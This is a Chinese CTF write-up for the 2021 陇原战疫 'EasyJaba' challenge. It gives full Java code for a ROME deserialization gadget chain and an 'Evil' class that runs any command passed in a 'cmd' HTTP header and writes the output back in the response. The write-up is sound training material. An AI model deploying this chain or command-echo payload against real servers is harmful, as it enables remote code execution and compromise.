- 陇原战"疫"2021网络安全大赛 Web EasyJaba
- 不出网
- 参考链接
查看源码，禁用了一些类
（这里说一下反编译工具的情况，之前我一直用的jd-gui，但是本题的附件，使用jd-gui，无法看到禁用的相关信息，如下；而上面的截图，是使用的是jdax1.4）
同时发现调用了rome1.0，所以就是用的rome1.0那条链了
HashMap类的作用是触发hashCode，而BadAttributeValueExpException类的作用是触发toString，看本题的源码，其中可以直接调用object.toString，就不需要入口类了
改写一下rome链
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
public class Rome2 {
public static void unserialize(byte[] bytes) throws Exception{
ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain);
oin.readObject();
}
public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//恶意字节码
byte[] code = Files.readAllBytes(Paths.get("D:\project\java\cc1\src\main\java\Rome\Evil.class"));
// byte[] code = Files.readAllBytes(Paths.get("D:\project\java\test\target\classes\calc1.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","sk1y"); //不能设置为null，不然返回null
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
// toStringBean.toString();
byte[] aaa = serialize(toStringBean);
System.out.println(Base64.getEncoder().encodeToString(aaa));
}
}
不出网
因为本题不出网，所以使用的是网络上流传的spring不出网情况下加载的恶意类
package Rome;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Evil extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
javac进行编译为Evil.class，加载这个恶意class
最后的效果
看fmyyy师傅的wp，其实可以使用Hashtable替换HashMap，一样可以触发hashCode，原有的链子可以打通（我没成功，应该是哪点写的有问题），具体链接放下面了
参考链接- java反序列化 rome链以及陇原战疫的java题
- 陇原战役2021 ezjaba_ByNotD0g的博客-CSDN博客
